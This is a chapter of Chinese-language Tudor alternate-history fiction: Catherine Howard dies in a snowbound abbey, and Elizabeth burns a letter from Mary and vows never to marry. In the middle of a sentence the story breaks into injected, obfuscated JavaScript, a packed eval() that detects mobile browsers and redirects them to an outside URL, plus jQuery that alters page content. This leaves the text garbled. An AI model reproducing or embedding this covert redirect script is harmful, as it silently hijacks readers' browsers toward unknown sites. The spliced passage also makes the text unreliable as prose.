约克郡的荒原被一场突如其来的暴风雪彻底吞没。狂风卷着鹅毛大雪，发出野兽般的嘶吼，疯狂抽打着修道院灰黑色的石墙，仿佛要将这座孤岛般的建筑彻底掩埋。修道院深处，那间狭小冰冷的石室里，寒意刺骨，唯一一盏挂在墙上的牛油灯芯摇曳着微弱的光芒，随时可能熄灭。


    凯瑟琳·霍华德蜷缩在硬板床上，薄毯根本无法抵御严寒，她瘦得只剩骨架的身体在无法控制的剧烈颤抖。每一次撕心裂肺的咳嗽，都像是要把五脏六腑都呕出来，带出更多的、带着腥甜气息的暗红血沫，星星点点溅在冰冷的石板地上，如同凋零的残梅。


    金发早已失去了所有光泽，枯槁地贴在深陷、灰败的脸颊上。那双曾经盛满娇媚、野心和恐惧的蓝色眼眸，此刻只剩下无边无际的空洞和一种近乎麻木的疲惫。嬷嬷们送来的粗粝面包和稀薄的菜汤早已冰冷，放在角落的小木桌上，纹丝未动。生命的光，正在这具年轻的躯壳里急速流逝。


    意识模糊间，她仿佛又回到了汉普顿宫那间金碧辉煌的寝殿。巨大的落地镜里，映着她穿着华美裙袍、戴着璀璨珠宝的身影，青春娇艳，如同盛放的玫瑰。诺福克舅舅在一旁低声教导着宫廷礼仪和取悦陛下的技巧，他的眼神像鹰隼。然后，画面跳转，是玫瑰廊下潮湿的夜晚，卡尔佩珀炽热的呼吸拂过她的颈侧，带着禁忌的刺激和恐惧……接着，是滴血认亲时那碗刺目的暗红，诺福克舅舅枯槁脸上狂喜的狞笑……最后，定格在格林威治宫宴会厅，亨利那双充满了厌恶和冰冷杀意的眼睛……


    “孩子……” 一声破碎的、几乎听不见的呓语从她干裂的唇间溢出。她枯瘦的手指无意识地抓挠着冰冷的床板，仿佛想抓住什么。那个深棕色头发、只在出生时啼哭了几声就被抱走的孩子……她甚至不知道他长什么模样，不知道嬷嬷们给他取了什么名字。他成了她生命中一个模糊的、带着巨大痛楚的印记，是耻辱，是枷锁，也是……一丝连她自己都无法理解的、微弱到近乎虚无的牵挂。


    风雪声似乎小了些，被修道院深处传来的、低沉而悠远的晚祷钟声取代。修士们肃穆的拉丁文吟诵隐隐飘来，那是为亡者安息的《安魂曲》。


    凯瑟琳灰败的脸上，那空洞的眼中似乎有最后一点微光闪动了一下。她仿佛听到了什么召唤，艰难地、极其缓慢地转过头，望向那扇高悬的小窗外——那里只有一片被狂风吹卷的、混沌的白色。


    一滴冰冷的、混浊的泪，终于滑过她枯槁的脸颊，无声地砸落在冰冷坚硬的石板上，瞬间消失不见。


    她的呼吸，在钟声和风雪交织的呜咽中，越来越微弱，越来越悠长，最终，彻底归于一片冰冷的寂静。


    牛油灯芯发出一声轻微的“噼啪”，挣扎着跳跃了一下，最终还是熄灭了。石室陷入彻底的黑暗和死寂。只有窗外呼啸的风雪，依旧不知疲倦地拍打着墙壁，仿佛在为这位被权力玩弄、最终无声凋零在荒原雪夜中的金丝雀，唱着最后的、无人聆听的挽歌。


    * * *


    里士满城堡的书房内，炉火温暖。安妮正指导伊丽莎白阅读一卷拉丁文典籍。胡椒狗伏在炉边地毯上，发出均匀的鼾声。一封盖着玛丽公主私人印鉴的信件，由老约翰肃然呈上。


    信封厚重，用的是最好的羊皮纸。伊丽莎白用小银刀裁开封口，展开信笺。熟悉的、带着一丝旧教刻板气息的娟秀字迹映入眼帘：


    > **致伊丽莎白·都铎，英格兰公主：**


    >


    > 此信由圣母玛利亚见证，于格林威治宫祈祷室书就。


    >


    > 父王陛下于病榻之上，蒙上帝启示，深感王朝传承之重责，已明颁诏谕，昭告天下：王位继承之序，以爱德华王子殿下为先；王子若蒙主恩召而无嗣，则继位之权归于吾身；吾若亦无子嗣，则此神圣权柄，当由汝——伊丽莎白·都铎——承继。


    >


    > 此序已加盖国玺，永为定制。任何外戚、权臣，不得觊觎染指。


    >


    > 过往之事，上帝自有公断。吾等皆为父王之女，英格兰之公主。值此多事之秋，当谨守本分，虔心祈祷，为父王圣体，为王国安稳。


    >


    > 玛丽·都铎手书


    >


    > 附：陛下圣意已决，此诏不容更易。


    信笺的末尾，有一小块被水渍晕染开的模糊痕迹，不知是烛泪，还是……别的什么。


    伊丽莎白静静地看着信，灰绿色的眼眸深邃如寒潭，映照着跳动的炉火，却看不出太多波澜。她纤细的手指轻轻抚过那行关于继承权的冰冷文字，又停留在那个模糊的水渍上片刻。玛丽称她为“伊丽莎白·都铎”，而非往日的“那个私生女”或“安妮·博林的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16155938|180550||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    女儿”。这称呼的改变，本身就充满了政治妥协的冰冷意味。那“谨守本分，虔心祈祷”的告诫，更是玛丽的风格，带着旧教烙印的枷锁感。


    安妮没有打扰她，只是静静地看着。胡椒狗似乎感受到气氛的变化，抬起头，湿润的黑眼睛望着伊丽莎白。


    良久，伊丽莎白放下信笺，走到壁炉边。她没有看安妮，目光投向炉膛里跳跃的火焰，声音很轻，却异常清晰，带着一种超越年龄的决绝：


    “老师，玛丽姐姐的信，我看完了。” 她顿了顿，拿起那封信，毫不犹豫地将其一角凑近炉火。火舌瞬间舔舐上昂贵的羊皮纸，发出轻微的“滋滋”声，卷曲、焦黑，玛丽那娟秀的字迹在火光中迅速化为灰烬。


    “上帝作证，” 伊丽莎白转过身，面对着安妮，灰绿色的眼眸在火光映照下，亮得惊人，如同淬炼过的宝石，蕴含着不容置疑的力量和一种近乎悲壮的清醒，“以我的生命与灵魂起誓——”


    她微微扬起头，脊背挺得笔直，声音不大，却如同金铁交鸣，清晰地回荡在温暖的书房里，每一个字都带着千钧的重量：


    **“我将永不结婚！永不屈从于任何丈夫的权柄！我的身体，我的意志，我的王冠——若有上帝垂怜，令其加诸我身——都将只属于英格兰！只服务于这片土地和它的人民！为此，我愿付出一切代价！”**


    誓言落定，书房内一片寂静。只有炉火燃烧的噼啪声，和胡椒狗喉咙里发出的一声低低的、仿佛理解的呜咽。


    安妮看着火光中伊丽莎白那坚定而略显单薄的侧影，看着她眼中燃烧的、为守护自身与王国独立而献祭婚姻与个人幸福的决绝火焰。她没有说话，只是走上前，轻轻将女孩拥入怀中。这是一个沉重到令人窒息的誓言，是伊丽莎白在目睹了母亲（安妮·博林）、简·西摩、凯瑟琳·霍华德乃至玛丽（未来可能的）被婚姻和男人权柄碾碎的悲剧后，为自己选择的、最彻底的防御，也是最彻底的献祭。


    炉火的光芒将她们相拥的身影长长地投射在墙壁上。窗外，里士满的夜幕已然降临。格林威治宫那头衰弱金狮的喘息，伦敦塔里无声的囚徒，约克郡荒原上刚刚熄灭的生命烛火，还有眼前少女以终身不嫁为代价立下的沉重誓言……都铎王朝的未来，在灰烬与誓言中，走向了更加莫测的深渊。新的风暴，正在未知的黑暗中积聚着力量。